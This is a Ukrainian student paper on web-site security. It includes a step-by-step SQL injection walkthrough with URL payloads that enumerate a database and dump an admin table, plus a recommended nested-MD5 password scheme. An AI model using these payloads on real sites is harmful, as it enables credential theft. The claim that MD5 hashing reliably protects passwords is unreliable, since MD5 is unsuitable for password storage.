УДК 004.056

ДО ПИТАННЯ ЗАХИСТУ WEB-РЕСУРСІВ

Ларін Д.А.[1)], Величко В.Л.[2)]
Технічний коледж Луцького НТУ
[1)] студент; [2)] старший викладач

Вступ

Останнім часом, в Україні відбуваються якісні зміни у процесах управління на всіх рівнях, які зумовлені інтенсивним упровадженням новітніх інформаційних технологій. Швидке впровадження інформатизації, проникнення її в усі сфери життєво важливих інтересів зумовило, крім безперечних переваг, і появу низки стратегічних проблем і загроз, що пов'язані з порушенням безпеки інформації та інформаційних мереж.

Аналіз останніх досліджень і публікацій

Проаналізувавши сучасні публікації [1,3], ми прийшли до висновку, що проблеми захисту даних та інформації на даний час є особливо актуальними. Яскравим прикладом є результати досліджень Computer Security Institute (Сан-Франциско, штат Каліфорнія, США), згідно з якими порушення захисту комп'ютерних систем відбувається з таких причин:

1. несанкціонований доступ — 2 %
2. укорінення вірусів — 3 %;
3. технічні відмови апаратури мережі — 20 %;
4. цілеспрямовані дії персоналу — 20 %;
5. помилки персоналу (недостатній рівень кваліфікації) — 55%.

Відповідно до вимог законів України "Про інформацію", "Про державну таємницю" та "Про захист інформації в автоматизованих системах" основним об'єктом захисту в інформаційних системах є інформація з обмеженим доступом, що становить державну або іншу, передбачену законодавством України, таємницю, конфіденційна інформація, що є державною власністю чи передана державі у володіння, користування, розпорядження. Загалом, об'єктом захисту в інформаційній системі є інформація з обмеженим доступом, яка циркулює та зберігається у вигляді даних, команд, повідомлень, що мають певну обмеженість і цінність як для її власника, так і для потенційного порушника технічного захисту інформації.

Постановка завдання

Проблемою сьогодення є те, що в процесі розробки WEB-ресурсу про його захист згадують на останньому етапі, оскільки він, на думку користувачів та адміністрації сайту, не такий важливий як контент та дизайн, що і призводить до невідворотних наслідків згодом. IT злочинець або так званий «*hacker*», здійснює спробу несанкціонованого доступу до конфіденційної інформації. Потенційні загрози несанкціонованого доступу до інформації в інформаційних системах поділяють на цілеспрямовані (умисні) та випадкові. Умисні загрози можуть маскуватися під випадкові, шляхом довгочасної масованої атаки несанкціонованими запитами або комп'ютерними вірусами.

Виклад основного матеріалу

На сьогоднішній день для здійснення несанкціонованого доступу до WEB-ресурсів використовуються різні методи та технології:

- SQL Injection – використання sql запитів в незахищену систему;
- PHP Injection – використання сторонніх php кодів напряму в системі;
- XSS Scripting – міжсайтовий скриптинг без відома адміністрації;
- PHP Shell – код який контролює ftp-сервер
- Exploit – програмне забезпечення яке маю змогу контролювати систему на відстані
- Sniffer – скрипт який здійснює перехоплення сесії та (POST, GET - параметрів)
- Bruteforce – інтелектуальний підбір паролів та ін.

Вищенаведені методи слід враховувати для унеможливлення доступу до ресурсів, ще на етапі їх проектування та розробки. Далі викладено приклад обходу двоступеневого захисту системи сайту та представлено рекомендації можливих прийомів уникнення цього. Для здійснення несанкціонованого доступу методом SQL injection здійснюють такий перелік дій:

1) Для початку виявляють динамічні сторінки які передають POST або GET. Параметри такого вигляду: news, photo, video, page. Приклад: news.php?id=(ідентифікатор): /news_detail.php?id=123;

2) Далі потрібно з'ясувати прентабельні поля та кількість таблиць в базі за допомогою яких буде здійснено вивід інформації: /news_detail.php?id=123+order+by+10+--+/news_detail.php?id= 123+union+select+1,2,3,4,5 віднімаємо та додаємо по числу до зникнення повідомлення про помилку (точна кількість таблиць);

3) /news_detail.php?id=-123+union+select+1,2,3,4,5 – підставивши символ « - », ми дізнаємось де знаходяться прентабельні поля;

4) /news_detail.php?id=123+union+select+1,2,database(),user(),version() - з'ясовано: версію, користувача та назву бази даних;

5) /news_detail.php? id=123+union+select+1,2,group_concat(table_name),4+from+information_ schema.tables+where+table_schema=database() – повний каталог всіх таблиць в базі даних;

6) /news_detail.php?id=123+union+select+1,2,group_concat(table_name,0x3a,column_name),4 +from+information_schema.columns+where=table_schema=database()+limit+0,1 – так ми дізнались повний каталог колонок з таблиць в базі;

7)/news_detail.php?id=123+union+select+1,2,group_concat(id,0x3a,admin,name,email),4+from+ admin – дані з таблиці «admin».

Для уникнення доступу необхідно слідкувати за написанням sql запитів та php кодів, закрити вивід повідомлень на екран про проблеми чи помилки сайту, використовувати систему шифрування паролів md5(md5(salt). Алгоритм шифрування (md5(salt) надійно захистить пароль від підбирання:

```
<?
$salt="123!#&%asgfHTA"; - салт, доповнення символів до паролю
$pass="anticyber"; - ваш пароль
function my_crypt($pass,$salt){
 $spec=array('~','!','@','#','$','%','^','&','*','?');
 $crypted=md5(md5($salt).md5($pass)); - перетворення шифрування md5 на md5($salt)
 $c_text=md5($pass);
 for ($i=0;$i<strlen($crypted);$i++){
 if (ord($c_text[$i])>=48 and ord($c_text[$i])<=57){
 @$temp.=$spec[$c_text[$i]];
 } elseif(ord($c_text[$i])>=97 and ord($c_text[$i])<=100){
 @$temp.=strtoupper($crypted[$i]);
 } else {
 @$temp.=$crypted[$i];
 }
 }
 return md5($temp);
}
echo my_crypt($pass,$salt); - виведення шифрованого паролю на екран
?>
```

Це звичайно не є панацеєю від хакерів та зловмисників, проте дозволяє суттєво підвищити ступінь захисту бази даних. Принцип сучасного захисту інформації можна виразити так - пошук оптимального співвідношення між доступністю і безпекою.

Висновок

В даній роботі було проаналізовано можливі методи несанкціонованого доступу до WEB-ресурсів. Було показано актуальність захисту від подібного роду атак, в особливості від SQL-ін'єкцій та наведено приклади їх реалізації, а також рекомендовано метод захисту бази даних паролів.

Список використаних джерел

1. Бєлошапкін В.К., Пустовіт СМ., Степанов В.Д. Формалізація проблеми оптимізації комплексної системи захисту інформації // Захист інформації. – 2005. – № 3.
2. Ноблес Р., Греди К., Эффективный Web-сайт: Учебное пособие – М: Издательство ТРИУМФ, 2004 – 560с.
3. Пархоменко І.І., Воскобойніков А.О. Захист WEB-ресурсів від атак типу command execution. Науково-практичний журнал «Захист інформації» № 4, 2012
4. Степанов В.Д., Хорошко В.О. Захист інформації НДІ ГУР МОУ: зб. наук. пр. – К.: МОУ, 2003.–Вип.5.
5. Фленов М. Е. - PHP глазами хакера . – СПБ.: БХВ-Петербург, 2005. – 305с.